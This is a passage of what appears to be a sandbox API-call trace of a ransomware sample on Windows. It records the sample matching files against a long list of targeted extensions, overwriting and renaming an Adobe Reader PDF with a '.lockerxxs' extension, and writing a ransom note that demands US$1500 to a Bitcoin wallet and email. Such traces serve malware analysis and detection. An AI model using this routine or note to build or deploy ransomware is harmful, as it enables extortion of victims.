ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.517] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.517] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.517] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10913, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.517] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.517] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.517] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.517] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.518] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*.*") returned="*.*" [0068.518] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" [0068.518] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\") returned="" [0068.518] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt" [0068.518] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\how to decrypt files.txt")) returned 0xffffffff [0068.518] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.518] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.518] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.519] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.520] CloseHandle (hObject=0x94) returned 1 [0068.520] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.ems") returned 0 [0068.520] lstrlenA (lpString="*.ems") returned 5 [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.db") returned 0 [0068.520] lstrlenA (lpString="*.db") returned 4 [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.dbf") returned 0 [0068.520] lstrlenA (lpString="*.dbf") returned 5 [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.myox") returned 0 [0068.520] lstrlenA (lpString="*.myox") returned 6 [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.myo") returned 0 [0068.520] lstrlenA (lpString="*.myo") returned 5 [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qbw") returned 0 [0068.520] lstrlenA (lpString="*.qbw") returned 5 [0068.520] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qbb") returned 0 [0068.520] lstrlenA (lpString="*.qbb") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qbm") returned 0 [0068.521] lstrlenA (lpString="*.qbm") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qbo") returned 0 [0068.521] lstrlenA (lpString="*.qbo") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qbx") returned 0 [0068.521] lstrlenA (lpString="*.qbx") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qba") returned 0 [0068.521] lstrlenA (lpString="*.qba") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qby") returned 0 [0068.521] lstrlenA (lpString="*.qby") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qbj") returned 0 [0068.521] lstrlenA (lpString="*.qbj") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.ofx") returned 0 [0068.521] lstrlenA (lpString="*.ofx") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.qif") returned 0 [0068.521] lstrlenA (lpString="*.qif") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.mye") returned 0 [0068.521] lstrlenA (lpString="*.mye") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.mbox") returned 0 [0068.521] lstrlenA (lpString="*.mbox") returned 6 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.521] lstrlenA (lpString="*.eml") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.pst") returned 0 [0068.521] lstrlenA (lpString="*.pst") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.ost") returned 0 [0068.521] lstrlenA (lpString="*.ost") returned 5 [0068.521] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.idx") returned 0 [0068.522] lstrlenA (lpString="*.idx") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.dbx") returned 0 [0068.522] lstrlenA (lpString="*.dbx") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.sql") returned 0 [0068.522] lstrlenA (lpString="*.sql") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.522] lstrlenA (lpString="*.mdb") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.522] lstrlenA (lpString="*.fdb") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.522] lstrlenA (lpString="*.wab") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.522] lstrlenA (lpString="*.dat") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.522] lstrlenA (lpString="*.txt") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.522] lstrlenA (lpString="*.jpeg") returned 6 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.522] lstrlenA (lpString="*.jpg") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.522] lstrlenA (lpString="*.png") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.522] lstrlenA (lpString="*.php") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.522] lstrlenA (lpString="*.cs") returned 4 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.522] lstrlenA (lpString="*.cpp") returned 5 [0068.522] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.523] lstrlenA (lpString="*.rar") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.523] lstrlenA (lpString="*.zip") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.523] lstrlenA (lpString="*.html") returned 6 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.523] lstrlenA (lpString="*.htm") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.523] lstrlenA (lpString="*.xlsx") returned 6 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.523] lstrlenA (lpString="*.xls") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.523] lstrlenA (lpString="*.mp4") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.523] lstrlenA (lpString="*.ppt") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.523] lstrlenA (lpString="*.pptx") returned 6 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.523] lstrlenA (lpString="*.doc") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.523] lstrlenA (lpString="*.dot") returned 5 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.523] lstrlenA (lpString="*.docx") returned 6 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.523] lstrlenA (lpString="*.7z") returned 4 [0068.523] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.524] lstrlenA (lpString="*.tar") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.524] lstrlenA (lpString="*.bz2") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.524] lstrlenA (lpString="*.gz") returned 4 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.524] lstrlenA (lpString="*.mkv") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.524] lstrlenA (lpString="*.eml") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.524] lstrlenA (lpString="*.msg") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.524] lstrlenA (lpString="*.edb") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.524] lstrlenA (lpString="*.accdb") returned 7 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.524] lstrlenA (lpString="*.odb") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.524] lstrlenA (lpString="*.java") returned 6 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.524] lstrlenA (lpString="*.asm") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.524] lstrlenA (lpString="*.pfx") returned 5 [0068.524] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.524] lstrlenA (lpString="*.pem") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.525] lstrlenA (lpString="*.p12") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.525] lstrlenA (lpString="*.gpg") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.525] lstrlenA (lpString="*.vsd") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.525] lstrlenA (lpString="*.odg") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.525] lstrlenA (lpString="*.raw") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.525] lstrlenA (lpString="*.nef") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.525] lstrlenA (lpString="*.svg") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.525] lstrlenA (lpString="*.psd") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.525] lstrlenA (lpString="*.vmx") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.525] lstrlenA (lpString="*.vmdk") returned 6 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.525] lstrlenA (lpString="*.vdi") returned 5 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.525] lstrlenA (lpString="*.lay6") returned 6 [0068.525] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.526] lstrlenA (lpString="*.mpeg") returned 6 [0068.526] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.526] lstrlenA (lpString="*.djvu") returned 6 [0068.526] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.526] lstrlenA (lpString="*.tiff") returned 6 [0068.526] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.526] lstrlenA (lpString="*.backup") returned 8 [0068.526] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.526] lstrlenA (lpString="*.pdf") returned 5 [0068.526] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" [0068.526] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" [0068.526] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf." [0068.526] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.lockerxxs" [0068.526] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.528] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10913 [0068.528] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805b4280, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.528] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.528] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x108ed, lpOverlapped=0x0) returned 1 [0068.533] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf") returned="AdobeID.pdf" [0068.534] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.534] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x108ed, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x108ed, lpOverlapped=0x0) returned 1 [0068.534] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.534] CloseHandle (hObject=0x94) returned 1 [0068.536] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\adobeid.pdf.lockerxxs")) returned 1 [0068.540] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x103f8, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.540] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.540] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.540] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.540] lstrcmpiA (lpString1="", 